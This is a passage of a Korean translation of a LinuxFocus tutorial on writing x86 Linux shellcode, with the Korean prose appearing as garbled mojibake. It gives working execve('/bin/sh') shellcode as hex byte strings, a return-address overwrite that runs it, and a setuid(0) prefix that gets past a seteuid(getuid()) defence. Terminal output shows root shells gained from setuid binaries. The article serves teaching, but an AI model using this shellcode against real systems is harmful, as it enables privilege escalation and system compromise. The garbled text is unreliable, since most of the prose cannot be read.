¿¡¼ interrupt¿äûÀÌ ÀÌ·ç¾îÁø´Ù.
À̺κп¡¼ ¾Ë ¼ö ÀÖ´Â Áß¿äÇÑ »çÇ×Àº °¢Á¾ system-callÀÌ %eax
¾È¿¡
±× ³»¿ëÀÌ ÀúÀåµÇ´Â °øÅëÀûÀΠƯ¡À» °¡Áö°í ÀÖ´Ù´Â °ÍÀÌ´Ù.À§ÀÇ
¿¹¸¦ ÅëÇØ, execve()
´Â 0x0B
¶ó´Â °ªÀ»,
_exit()
´Â 0x01
À̶ó´Â °ªÀ»
°¡Áö°í ÀÖÀ½À» ¾Ë ¼ö ÀÖ´Ù.
ÀÌ·¯ÇÑ ÇÔ¼öµéÀÇ ¾î¼Àºí¸® ¸í·É¾îµéÀ» ºÐ¼®Çغ¸¸é, ÀÎÀÚµéÀÌ ¾î¶»°Ô ÀúÀåµÇ´ÂÁö¸¦ ¾Ë ¼ö ÀÖ´Ù:
execve()
ÇÔ¼ö´Â °¢Á¾ Àμö°¡ ÇÊ¿äÇÏ´Ù.(diag 4¸¦ ÂüÁ¶Ç϶ó.) :
%ebx
´Â ½ÇÇàÇÒ ¸í·ÉÀÌ Ç¥ÇöµÈ ¹®ÀÚ¿ÀÇ ÁÖ¼Ò¸¦ °¡Áö°í ÀÖ´Ù.
À̱ۿ¡¼´Â "/bin/sh
"À» ¸»ÇÑ´Ù.
(0x804d9b1 : mov 0x8(%ebp),%edi
¿Í
0x804d9c9 : mov %edi,%ebx
¸í·ÉÀÌ
ÀÌ ¿ªÇÒÀ» ¼öÇàÇÑ´Ù.) ;%ecx
´Â ÀÎÀÚµéÀÇ ¹è¿ ÁÖ¼Ò¸¦ °¡Áö°í ÀÖ´Ù
(0x804d9c2 : mov 0xc(%ebp),%ecx
).
ù¹ø° ÀÎÀÚ´Â ÇÁ·Î±×·¥ÀÇ À̸§À̾î¾ßÇϸç,´Ù¸¥ °ÍÀº ÇÊ¿ä¾ø´Ù.
(¹è¿Àº ¹®ÀÚ¿ "/bin/sh
"ÀÇ ÁÖ¼Ò¿Í NULLÆ÷ÀÎÅ͸¸À¸·Îµµ ÃæºÐÇÏ´Ù;
%edx
´Â ÇÁ·Î±×·¥À» ½ÇÇàÇϱâ À§ÇÑ È¯°æÀÌ Ç¥ÇöµÈ ¹è¿ÀÇ ÁÖ¼Ò¸¦
°¡Áö°í ÀÖ´Ù(0x804d9c5 : mov 0x10(%ebp),%edx
).
ÀÌ ±Û¿¡¼´Â ÇÁ·Î±×·¥À» °£´ÜÇÏ°ÔÇϱâ À§ÇØ, ȯ°æ¼³Á¤À» ÇÏÁö ¾Ê¾Ò´Ù
(empty environment): NULLÆ÷ÀÎÅÍ°¡ ÀÌ ¿ªÇÒÀ» ÃæºÐÈ÷ ¼öÇàÇÑ´Ù._exit()
ÇÔ¼ö´Â ÇÁ·Î¼¼½º¸¦ ³¡³»°í, ±×°ÍÀÇ ºÎ¸ð(ÀϹÝÀûÀ¸·Î
shell)¿¡°Ô %ebx
¿¡ ÀúÀåµÈ ½ÇÇàÄڵ带 µ¹·ÁÁØ´Ù ;¿ì¸®´Â ¹®ÀÚ¿ "/bin/sh
"°ú ÀÌ ¹®ÀÚ¿À» °¡¸®Å°´Â Æ÷ÀÎÅÍ, ±×¸®°í
NULLÆ÷ÀÎÅÍ°¡ ÇÊ¿äÇÏ´Ù(¸í·É¿¡ ´ëÇÑ Àμö·Î ¾Æ¹«°Íµµ ÁÖÁö ¾Ê¾Ò°í,
ȯ°æ¶ÇÇÑ ¼±¾ðÇÏÁö ¾Ê¾Ò±â ¶§¹®ÀÌ´Ù.).¿ì¸®´Â execve()
È£ÃâÀü¿¡ °¡´ÉÇÑ µ¥ÀÌÅÍ Ç¥ÇöÀ» ¾Ë ¼ö ÀÖ´Ù. NULL Æ÷ÀÎÅÍ°¡ µÚµû¸£¸ç,
¹®ÀÚ¿/bin/sh
À» Àμö·Î °®´Â Æ÷ÀÎÅÍÀÇ ¹è¿À» ¸¸µé°í,
%ebx
Àº ¹®ÀÚ¿À» °¡¸£Å°°í,%ecx
Àº ¹è¿
Àüü¸¦,%edx
´Â ¹è¿ÀÇ µÎ¹ø° ÀÎÀÚÀÎ NULLÀ» °¡¸£Å°°Ô
Ç϶ó. ÀÌ°ÍÀ» ±×¸²À¸·Î ³ªÅ¸³»¸é diag. 5¿Í °°´Ù.
vulnerableÇÑ ÇÁ·Î±×·¥¿¡ shellcode¸¦ ³Ö´Â ÀϹÝÀûÀÎ ¹æ¹ýÀº
shellcode¸¦ Á¤ÇüÈµÈ ¹®ÀÚ¿À̳ª ȯ°æº¯¼ö·Î ¼±¾ðÇÏ¿©
ÇÁ·Î±×·¥ ½ÇÇà½Ã ÇÁ·Î±×·¥ÀÇ Àμö·Î ÁÖ´Â °ÍÀÌ´Ù.
¿ì¸®´Â shellcode¸¦ ¸¸µé¾úÁö¸¸ ÀÌ°ÍÀ» »ç¿ëÇϱâ À§ÇØ ÇÊ¿äÇÑ
shellcodeÀÇ ÁÖ¼Ò¸¦ ¸ð¸£°í ÀÕ´Ù. À̸»Àº °á±¹, "/bin/sh
"
¹®ÀÚ¿ÀÇ ÁÖ¼Ò¸¦ ¾Ë¾Æ¾ß ÇÑ´Ù´Â ¸»ÀÌ´Ù. ¿ì¸®´Â ÀÌ ÁÖ¼Ò¸¦ ¾ò±â À§ÇØ
¾à°£ÀÇ ¼ÓÀÓ¼ö(trick)¸¦ ¾µ ¼ö ÀÖ´Ù.
call
¸í·ÉÀ¸·Î subroutine(ÇÔ¼ö¶ó°í ÀÌÇØÇÏ¸é µÈ´Ù.)À»
È£ÃâÇßÀ» ¶§,CPU´Â ½ºÅÿ¡ return address¸¦ ÀúÀåÇÑ´Ù. ÀÌ address´Â ¾ÕÀÇ
±Û¿¡¼ »ìÆ캻 ¹Ù¿Í °°ÀÌ call
¸í·É ¹Ù·Î µÚ¸¦ µû¸¥´Ù.
ÀϹÝÀûÀ¸·Î,ÀÌ ´ÙÀ½´Ü°è¿¡¼´Â stackÀÇ »óŸ¦ ÀúÀåÇÏ´Â µ¿ÀÛÀÌ ÀϾÙ
(push %ebp¸í·É
).µû¶ó¼ subroutine¿¡ µé¾î°¥¶§ pop
¸í·ÉÀ» »ç¿ëÇÑ´Ù¸é return address¸¦ ¾òÀ» ¼ö ÀÖ´Ù.(pop
˼
unstackµ¿ÀÛÀ» ÇÑ´Ù.) ¹°·Ð, ¹®ÀÚ¿ÀÇ ÁÖ¼Ò¸¦ Á¦°øÇÒ "home made prolog"¸¦
À§Çؼ call
¸í·É¾î ¹Ù·Î µÚ¿¡ "/bin/sh
"¹®ÀÚ¿À»
ÀúÀåÇÑ´Ù:
beginning_of_shellcode: jmp subroutine_call subroutine: popl %esi ... (Shellcode itself) ... subroutine_call: call subroutine /bin/sh
subroutineÀÌ ½ÇÁ¦·Î ÀÖ´Â °ÍÀº ¾Æ´Ï´Ù. ¿©±â¿¡¼´Â execve()
ÀÇ È£ÃâÀÌ ¼º°øÇϸé ÇÁ·Î¼¼½º´Â shell·Î ´ëüµÉ °ÍÀ̸ç, È£ÃâÀÌ ½ÇÆÐÇÑ´Ù¸é
_exit()
°¡ ÇÁ·Î±×·¥À» Á¾·á½Ãų °ÍÀÌ´Ù. %esi
´Â
"/bin/sh
"ÀÇ ÁÖ¼Ò¸¦ ¿ì¸®¿¡°Ô ¾Ë·ÁÁØ´Ù. ÀÌÁ¦´Â ´ÜÁö ¹®ÀÚ¿ µÚ¿¡
ÀÌ ÁÖ¼Ò¸¦ ³Ö±â¸¸ ÇÏ¸é µÈ´Ù. ¾Æ·¡ ±×¸²¿¡¼ º¸µíÀÌ Ã¹¹ø° ¿ä¼Ò´Â %esi
ÀÇ
°ªÀ» °¡Áö°í ÀÖ´Ù.(first itemÀº %esi+8
ÀÇ À§Ä¡¿¡ Á¸ÀçÇϸç,
¿©±â¼ 8Àº /bin/sh
ÀÇ ±æÀÌ¿¡ null byte¸¦ ÇÕÄ£ °ÍÀÌ´Ù.)
µÎ¹ø° ¿ä¼Ò´Â%esi+12
¿¡ null address·Î Á¸ÀçÇÑ´Ù(32bit). ÀÌ°ÍÀÇ
ÄÚµå´Â ´ÙÀ½°ú °°´Ù:
popl %esi movl %esi, 0x8(%esi) movl $0x00, 0xc(%esi)
diagram 6Àº À̸¦ ±×¸²À¸·Î Ç¥ÇöÇÑ °ÍÀÌ´Ù:
ÀÌ·¯ÇÑ Ãë¾àÁ¡Àº strcpy()
ÇÔ¼ö°°Àº ¹®ÀÚ¿À»
´Ù·ç´Â ÇÔ¼ö¿¡¼ Á¾Á¾ ¹ß°ßµÈ´Ù. °ø°ÝÇÒ ÇÁ·Î±Û¸ÅÀÇ Áß°£¿¡
Äڵ带 »ðÀÔÇϱâ À§Çؼ, shellcode¸¦ ¹®Àڿó·³ º¹»çÇؾß
ÇÑ´Ù. ±×·¯³ª ¹®Á¦´Â ¹®ÀÚ¿À» º¹»çÇÏ´Â ÇÔ¼öµéÀÌ null¹®ÀÚ¸¦
¹ß°ßÇÏ¸é °ð¹Ù·Î º¹»ç¸¦ ¸ØÃá´Ù´Â µ¥ ÀÖ´Ù. µû¶ó¼ ¿ì¸®°¡
¸¸µç Äڵ忡´Â ÀÌ·¯ÇÑ null¹®ÀÚ°¡ À־ ¾ÈµÈ´Ù. ¸î°¡Áö
±â¼úÀ» »ç¿ëÇÏ¿© ÀÌ·¯ÇÑ null byte¹®Á¦¸¦ ÇÇÇÒ ¼ö ÀÖ´Ù. ¿¹¸¦ µé¾î,
´ÙÀ½ÀÇ ¸í·É¾î´Â
movl $0x00, 0x0c(%esi)¾Æ·¡ÀÇ ¸í·É¾î·Î ´ëüÇÒ ¼ö ÀÖ´Ù.
xorl %eax, %eax movl %eax, %0x0c(%esi)À§ÀÇ ¿¹´Â null byte¸¦ »ç¿ëÇÏ´Â ¹æ¹ýÀ» º¸¿©ÁÖ°í ÀÖ´Ù. ±×·¯³ª ¾î¶² ¸í·É¾îÀÇ °æ¿ì hex°ªÀ¸·Î º¯È¯½ÃÄѺ¸¸é ÀÌ·¯ÇÑ null byte°¡ ¹ß°ßµÈ´Ù. ¿¹¸¦ µé¾î,
_exit(0)
system-callÀ̳ª ´Ù¸¥ ÇÔ¼ö¿¡¼µµ ÀÌ·¯ÇÑ Çö»óÀÌ ³ªÅ¸³´Ù.
%eax
¿¡ 1À̶õ °ªÀ» ³Ö±â À§ÇØ _exit()¿¡¼ ´ÙÀ½ÀÇ ¸í·É¾î¸¦ »ç¿ëÇÏ¿´´Ù.
0x804d996 <_exit+6>: mov $0x1,%eax
ÀÌ°ÍÀ» hex°ªÀ¸·Î º¯È¯ÇÏ¸é ´ÙÀ½°ú °°´Ù:
b8 01 00 00 00 mov $0x1,%eax¿ì¸®´Â À§¿Í °°Àº »óȲÀ» ÇÇÇØ¾ß ÇÑ´Ù. À̸¦ ÇØ°áÇÏ´Â ¹æ¾ÈÀ¸·Î´Â
%eax
¿¡
0À̶õ °ªÀ» ³Ö°í³ª¼ ÀÌ°ÍÀ» Áõ°¡½ÃÅ°´Â °ÍÀÌ ÀÖ´Ù.
¹Ý¸é¿¡ ¹®ÀÚ¿ "/bin/sh
"Àº ¹Ýµå½Ã null byte·Î ³¡³ª¾ß ÇÑ´Ù.
shellcodeÀÛ¼º½Ã ÀÌ·¸°Ô ¸¸µé ¼ö ÀÖÁö¸¸, ÇÁ·Î±×·¥¾È¿¡ »ðÀÔÇÏ´Â ¹æ¹ý¿¡ µû¶ó
null byte°¡ ¸¶Áö¸· ÇÁ·Î±×·¥(final application)¿¡ ³ªÅ¸³ªÁö ¾ÊÀ» ¼öµµ ÀÖ´Ù.
"/bin/sh
"¿¡ null byte¸¦ ³Ö±âÀ§ÇÑ ÁÁÀº ¹æ¹ýÁß¿¡ Çϳª¸¦ ¾Æ·¡¿¡
¼Ò°³ÇÑ´Ù:
/* movb´Â ¿ÀÁ÷ ÇÑ byte¸¸ ¿òÁ÷ÀδÙ. */ /* ¾Æ·¡ÀÇ ¸í·ÉÀº ´ÙÀ½ ¸í·É°ú °°´Ù. */ /* movb %al, 0x07(%esi) */ movb %eax, 0x07(%esi)
ÀÌÁ¦ shellcode¸¦ ¸¸µé±â À§ÇÑ ¸ðµç Áغñ°¡ ³¡³µ´Ù.
¾Æ·¡´Â ¾Õ¿¡¼ ¾ð±ÞÇÑ ³»¿ëµéÀ» Àû¿ë½ÃÄѼ ¸¸µç
shellcode4.c
ÀÌ´Ù:
/* shellcode4.c */ int main() { asm("jmp subroutine_call subroutine: /* /bin/sh ÁÖ¼Ò¸¦ ¾ò´Â´Ù.*/ popl %esi /* ¹è¿ÀÇ Ã¹¹ø° ¿ä¼ÒÀÎ ÀÌ ÁÖ¼Ò¸¦ ³Ö´Â´Ù. */ movl %esi,0x8(%esi) /* ¹è¿ÀÇ µÎ¹ø° ¿ä¼ÒÀÎ NULLÀ» ³Ö´Â´Ù. */ xorl %eax,%eax movl %eax,0xc(%esi) /* ¹®ÀÚ¿ÀÇ ³¡¿¡ null byte¸¦ ³Ö´Â´Ù. */ movb %eax,0x7(%esi) /* execve() ÇÔ¼ö */ movb $0xb,%al /* %ebx¾È¿¡ ½ÇÇà½Ãų ¹®ÀÚ¿ÀÇ ÁÖ¼Ò¸¦ ³Ö´Â´Ù. */ movl %esi, %ebx /* %ecx¾È¿¡ ¹è¿À» ³Ö´Â´Ù. */ leal 0x8(%esi),%ecx /* %edx¾È¿¡ ¹è¿ÀÇ È¯°æÀ» ³Ö´Â´Ù. */ leal 0xc(%esi),%edx /* System-call */ int $0x80 /* NullÀ» µ¹·ÁÁÖ´Â ÄÚµå*/ xorl %ebx,%ebx /* _exit() ÇÔ¼ö : %eax = 1 */ movl %ebx,%eax inc %eax /* System-call */ int $0x80 subroutine_call: subroutine_call .string \"/bin/sh\" "); }
"gcc -o shellcode4 shellcode4.c
"¸í·ÉÀ¸·Î Äڵ带 ÄÄÆÄÀÏ Ç϶ó.
(¿ªÀÚÁÖ: ÀÌ´ë·Î ÄÄÆÄÀÏÇÏ¸é ¿¡·¯¸¸ ¹ß»ýÇÏ°í ÄÄÆÄÀÏ µÇÁö ¾Ê´Â´Ù.
subroutine_call¿¡ Àû´çÇÑ °ªÀ» ³Ö¾îÁÖ¸é À̸¦ ÇÇÇÒ ¼ö ÀÖ´Ù.
ex> jmp subroutine_call
-> jmp 0x1f
subroutine_call
-> call -0x24
).
"objdump --disassemble shellcode4
"¸í·ÉÀº ½ÇÇàÆÄÀϳ»¿¡
null byte°¡ Á¸ÀçÇÏÁö ¾ÊÀ½À» È®ÀνÃÄÑÁÙ °ÍÀÌ´Ù:
08048398 <main>: 8048398: 55 pushl %ebp 8048399: 89 e5 movl %esp,%ebp 804839b: eb 1f jmp 80483bc <subroutine_call> 0804839d <subroutine>: 804839d: 5e popl %esi 804839e: 89 76 08 movl %esi,0x8(%esi) 80483a1: 31 c0 xorl %eax,%eax 80483a3: 89 46 0c movb %eax,0xc(%esi) 80483a6: 88 46 07 movb %al,0x7(%esi) 80483a9: b0 0b movb $0xb,%al 80483ab: 89 f3 movl %esi,%ebx 80483ad: 8d 4e 08 leal 0x8(%esi),%ecx 80483b0: 8d 56 0c leal 0xc(%esi),%edx 80483b3: cd 80 int $0x80 80483b5: 31 db xorl %ebx,%ebx 80483b7: 89 d8 movl %ebx,%eax 80483b9: 40 incl %eax 80483ba: cd 80 int $0x80 080483bc <subroutine_call>: 80483bc: e8 dc ff ff ff call 804839d <subroutine> 80483c1: 2f das 80483c2: 62 69 6e boundl 0x6e(%ecx),%ebp 80483c5: 2f das 80483c6: 73 68 jae 8048430 <_IO_stdin_used+0x14> 80483c8: 00 c9 addb %cl,%cl 80483ca: c3 ret 80483cb: 90 nop 80483cc: 90 nop 80483cd: 90 nop 80483ce: 90 nop 80483cf: 90 nop
ºñ·Ï ¸í·É¾î·Î Ç¥ÇöµÇÁö´Â ¾Ê¾ÒÁö¸¸, ¹®ÀÚ¿ "/bin/sh
"
(hex°ªÀ¸·Î 2f 62 69 6e 2f 73 68 00
À¸·Î Ç¥ÇöµÈ´Ù.)°ú
¸î¸î ¹ÙÀÌÆ®·Î ±¸¼ºµÈ data¸¦ 804831cÁÖ¼Ò µÚ¿¡¼ ¹ß°ßÇÒ ¼ö ÀÖ´Ù.
80483c8¿¡ ÀÖ´Â ¹®ÀÚ¿ÀÇ ³¡À» ³ªÅ¸³»´Â null¹®ÀÚ¸¦ Á¦¿ÜÇÏ°í,
ÄÚµåÀÇ ¾îµð¿¡µµ zero´Â Á¸ÀçÇÏÁö ¾Ê´Â´Ù.
ÀÌÁ¦ ÀÌ ÇÁ·Î±×·¥À» Å×½ºÆ® Çغ¸ÀÚ:
$ ./shellcode4 Segmentation fault (core dumped) $
Å×½ºÆ® °á°ú¸¦ ÅëÇØ, ÀÌ ÇÁ·Î±×·¥ÀÌ ¾ÆÁ÷ ÀÚ½ÅÀÇ ¿ªÇÒ(shellÀ» ½ÇÇà½ÃÅ°´Â °Í)À»
ÃæºÐÈ÷ ¼öÇàÇÏÁö ¸øÇÑ´Ù´Â °ÍÀ» ¾Ë ¼ö ÀÖ´Ù. ÁÖÀDZí°Ô »ìÆ캸¸é main()
ÇÔ¼ö°¡ À§Ä¡ÇÏ´Â °÷ÀÌ read-only¿µ¿ª(À̱ÛÀÇ Á¦ÀÏ ¾Õ¿¡¼ ¾ð±ÞÇÑ text
¿µ¿ª
À» ¸»ÇÑ´Ù.)À̶ó´Â »ç½ÇÀ» ¾Ë ¼ö ÀÖÀ» °ÍÀÌ´Ù. shellcode¶ÇÇÑ ÀÌ¿µ¿ªÀÇ ³»¿ëÀ»
¹Ù²Ü ¼ö ¾ø´Ù. ¾î¶»°Ô ÇÏ¸é ¿ì¸®°¡ ¸¸µç shellcode¸¦ Å×½ºÆ®ÇÒ ¼ö ÀÖÀ»±î?
read-only¹®Á¦¸¦ ÇÇÇØ°¥ ¼ö ÀÖ´Â ¹æ¹ýÀ¸·Î shellcode¸¦ data¿µ¿ª¿¡
³Ö´Â ¹æ¹ýÀÌ ÀÖ´Ù. shellcode¸¦ Àü¿ªº¯¼ö ¹è¿·Î ¼±¾ðÇÏÀÚ.
¿©±â¿¡ ¶Ç´Ù¸¥ ±â¼úÀ» ´õÇÏ¿© shellcode¸¦ ½ÇÇà½Ãų ¼ö ÀÖ´Ù.
½ºÅþȿ¡¼ shellcode¸¦ °¡Áö°í ÀÖ´Â ¹è¿ÀÇ ÁÖ¼Ò¸¦ ¾Ë¾Æ³»¼,
main()
ÇÔ¼öÀÇ return address·Î ÀÌ ÁÖ¼Ò¸¦ ³Ö´Â °ÍÀÌ´Ù.
main()
ÇÔ¼ö°¡ linker¿¡ ÀÇÇØ Ãß°¡µÇ´Â ¸î¸î Äڵ忡 ÀÇÇØ È£ÃâµÇ´Â
±âº»ÀûÀÎ ·çƾ("standard" routine)ÀÓÀ» ÀØÁö ¸»¶ó.
¾Æ·¡¿¹Á¦¿¡¼´Â ½ºÅÃÀÇ Ã³À½ À§Ä¡¿¡¼ µÎ°³ÀÇ ¹®ÀÚ ¹è¿¸¸ÅÀÇ
°ø°£¸¸ µ¤¾î¾²¸é return address¸¦ Á¶ÀÛÇÒ ¼ö ÀÖ´Ù.
/* shellcode5.c */ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main() { int * ret; /* +2 ´Â ½ºÅÃÀÇ ÃÖ»óÀ§(top)·ÎºÎÅÍ */ /* 2 words(8 bytes) offset ¿ªÇÒÀ» ÇÒ °ÍÀÌ´Ù. */ /* ù¹ø° word´Â Áö¿ªº¯¼ö¸¦ À§ÇÑ °ø°£À̸ç, */ /* µÎ¹ø° word´Â ÀúÀåµÈ %ebp(=sfp)ÀÇ °ø°£ÀÌ´Ù. */ * ((int *) & ret + 2) = (int) shellcode; return (0); }
ÀÌÁ¦ ¿ì¸® ÇÁ·Î±×·¥À» Å×½ºÆ®Çغ¸ÀÚ:
$ cc shellcode5.c -o shellcode5 $ ./shellcode5 bash$ exit $
¿ì¸®´Â ´ÜÁö ÇÁ·Î±×·¥ shellcode5
¸¦ Set-UID root·Î
¼³Á¤ÇÏ°í, ÀÌÇÁ·Î±×·¥À» ½ÇÇà½ÃÄ×À» ¶§ root ±ÇÇÑÀ¸·Î ¹Ù²î´Â°Í¸¸
È®ÀÎÇغ¸¸é µÈ´Ù:
$ su Password: # chown root.root shellcode5 # chmod +s shellcode5 # exit $ ./shellcode5 bash# whoami root bash# exit $
ÀÌ shellcode´Â ´Ù¼Ò Á¦ÇÑÀûÀÌ´Ù(¹°·Ð, ¸îbyteÀÇ ¹®Á¦À̱ä ÇÏÁö¸¸). ¾Æ·¡ÀÇ ÇÁ·Î±×·¥À» ¿¹·Î µéÀÚ¸é:
/* shellcode5bis.c */ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main() { int * ret; seteuid(getuid()); * ((int *) & ret + 2) = (int) shellcode; return (0); }ÀÌ ÇÁ·Î±×·¥Àº Áö³¹ø ±Û¿¡¼ ÃßõÇß´ø ¹æ½Äó·³, ÇÁ·Î¼¼½ºÀÇ ½ÇÁ¦UID°ªÀ» ¾ò¾î¼ effective UID¸¦ ÁöÁ¤ÇÏ¿´´Ù. ÀÌ·± ÇÁ·Î±×·¥¿¡¼´Â shellÀÌ ½ÇÇàµÉ ¶§ Ưº°ÇÑ ±ÇÇÑÀ» °®Áö ¾Ê°í ½ÇÇàµÈ´Ù:
$ su Password: # chown root.root shellcode5bis # chmod +s shellcode5bis # exit $ ./shellcode5bis bash# whoami pappy bash# exit $±×·¯³ª,
seteuid(getuid())
¸í·ÉÀº ±×¸® È¿°úÀûÀÎ ¹æ¾îÃ¥ÀÌ µÇÁö ¸øÇÑ´Ù.
ÀÌ´Â °£´ÜÈ÷ setuid(0)
À» È£ÃâÇÏ´Â °ÍÀ¸·Î ÇØ°áµÇ´Âµ¥, setuid(0);
˼
shellcodeÀÇ ¾ÕºÎºÐ¿¡¼ S-UIDÇÁ·Î±×·¥ÀÇ EUID¸¦ Á¦ÀÏ ³·Àº 0À¸·Î
¼³Á¤ÇÏ´Â °Í°ú °°Àº È¿°ú¸¦ °®´Â´Ù.
ÀÌ ¸í·É¾îÀÇ ÄÚµå´Â ´ÙÀ½°ú °°´Ù:
char setuid[] = "\x31\xc0" /* xorl %eax, %eax */ "\x31\xdb" /* xorl %ebx, %ebx */ "\xb0\x17" /* movb $0x17, %al */ "\xcd\x80";À§ÀÇ Äڵ带 ¾ÕÀÇ shellcode¿Í Á¶ÇÕÇÏ¿© º¸ÀÚ:
/* shellcode6.c */ char shellcode[] = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" /* setuid(0) */ "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main() { int * ret; seteuid(getuid()); * ((int *) & ret + 2) = (int) shellcode; return (0); }ÀÌ°ÍÀÌ Á¦´ë·Î µ¿ÀÛÇÏ´ÂÁö Å×½ºÆ® Çغ¸ÀÚ.
$ su Password: # chown root.root shellcode6 # chmod +s shellcode6 # exit $ ./shellcode6 bash# whoami root bash# exit $ÀÌÀåÀÇ ¸¶Áö¸·¿¡ ³ª¿À´Â ¿¹´Â shellcode¸¦ ÇÔ¼ö¿¡ »ðÀÔÇϴ°ÍÀÌ °¡´ÉÇÏ´Ù´Â °ÍÀ» º¸¿©ÁØ´Ù. ¿¹¸¦ µé¾î,
chroot()
°¡ ¼³Á¤µÈ µð·ºÅ丮¸¦ ºüÁ®³ª¿À´Â °ÍÀ̶ó´ø°¡,
socketÀ» »ç¿ëÇÏ¿© remote shellÀ» ¶ç¿ì´Â ÀϵîÀÌ ÀÖ´Ù.
ÀÌ·¯ÇÑ shellcodeÀÇ º¯ÇüÀº ±×µéÀÌ »ç¿ëµÇ´Â ¸ñÀû¿¡ µû¶ó shellcode¾È¿¡¼ ¸îbyteÀÇ °ªÀ» ¸ñÀû¿¡ ¸Â°Ô °íÃÄÁà¾ß ÇÑ´Ù´Â Àǹ̸¦ ³»Æ÷ÇÏ°í ÀÖ´Ù:
eb XX |
<subroutine_call> |
XX = <subroutine_call>±îÁöÀÇ bytes¼ö |
<subroutine>: |
||
5e |
popl %esi |
|
89 76 XX |
movl %esi,XX(%esi) |
XX = XX = ¹è¿ÀÇ Ã¹¹ø° ÀÎÀÚÀ§Ä¡(½ÇÇàÇÒ ¸í·ÉÀÇ ÁÖ¼Ò). ÀÌ offsetÀº ½ÇÇàÇÒ ¸í·É°ú '\0'ÀÌ Æ÷ÇÔµÈ °ªÀÌ´Ù. |
31 c0 |
xorl %eax,%eax |
|
89 46 XX |
movb %eax,XX(%esi) |
XX = ¹è¿ÀÇ µÎ¹ø° ÀÎÀÚÀ§Ä¡,¿©±â¼´Â NULL°ªÀ» °®´Â´Ù. |
88 46 XX |
movb %al,XX(%esi) |
XX = ¹®ÀÚ¿ ³¡¿¡ µé¾î°¡´Â '\0'ÀÇ À§Ä¡. |
b0 0b |
movb $0xb,%al |
|
89 f3 |
movl %esi,%ebx |
|
8d 4e XX |
leal XX(%esi),%ecx |
XX = ¹è¿¿¡¼ ù¹ø° ÀÎÀÚ°¡ ÀÖ´Â °÷ÀÇ offsetÀ» %ecx ¿¡
³Ö´Â´Ù. |
8d 56 XX |
leal XX(%esi),%edx |
XX = ¹è¿¿¡¼ µÎ¹ø° ÀÎÀÚ°¡ ÀÖ´Â °÷ÀÇ offsetÀ» %edx ¿¡
³Ö´Â´Ù. |
cd 80 |
int $0x80 |
|
31 db |
xorl %ebx,%ebx |
|
89 d8 |
movl %ebx,%eax |
|
40 |
incl %eax |
|
cd 80 |
int $0x80 |
|
<subroutine_call>: |
||
e8 XX XX XX XX |
call <subroutine> |
ÀÌ 4 bytes´Â <subroutine>±îÁöÀÇ bytes¸¦ °è»êÇÑ °ÍÀÌ´Ù. (little endianÀ¸·Î À½¼ö·Î Ç¥ÇöµÈ´Ù.)<subroutine> |
¿ì¸®´Â À̱ÛÀ» ÅëÇØ ´ë·« 40byteÁ¤µµµÇ´Â ÇÁ·Î±×·¥À» ¸¸µé°í, À̸¦ ÀÌ¿ëÇØ root±ÇÇÑÀ¸·Î ¿ÜºÎ¸í·É¾î(external command)¸¦ ½ÇÇà½Ãų ¼ö ÀÖ´Ù´Â °ÍÀ» ¾Ë°Ô µÇ¾ú´Ù. ¶ÇÇÑ ÀÌÀåÀÇ ¸¶Áö¸· ¿¹¸¦ ÅëÇØ ½ºÅÃÀ» ¸Á°¡¶ß¸± ¼ö ÀÖ´Â ¹æ¹ýÀ» »ìÆ캸¾Ò´Ù. ÀÌ ±â¼ú¿¡ ´ëÇؼ´Â ´ÙÀ½±Û¿¡¼ ´õ ÀÚ¼¼È÷ ´Ù·ê °ÍÀÌ´Ù....
|
Webpages maintained by the LinuxFocus Editor team
© Frédéric Raynal, Christophe Blaess, Christophe Grenier, FDL LinuxFocus.org Click here to report a fault or send a comment to LinuxFocus |
Translation information:
|
2001-04-27, generated by lfparser version 2.13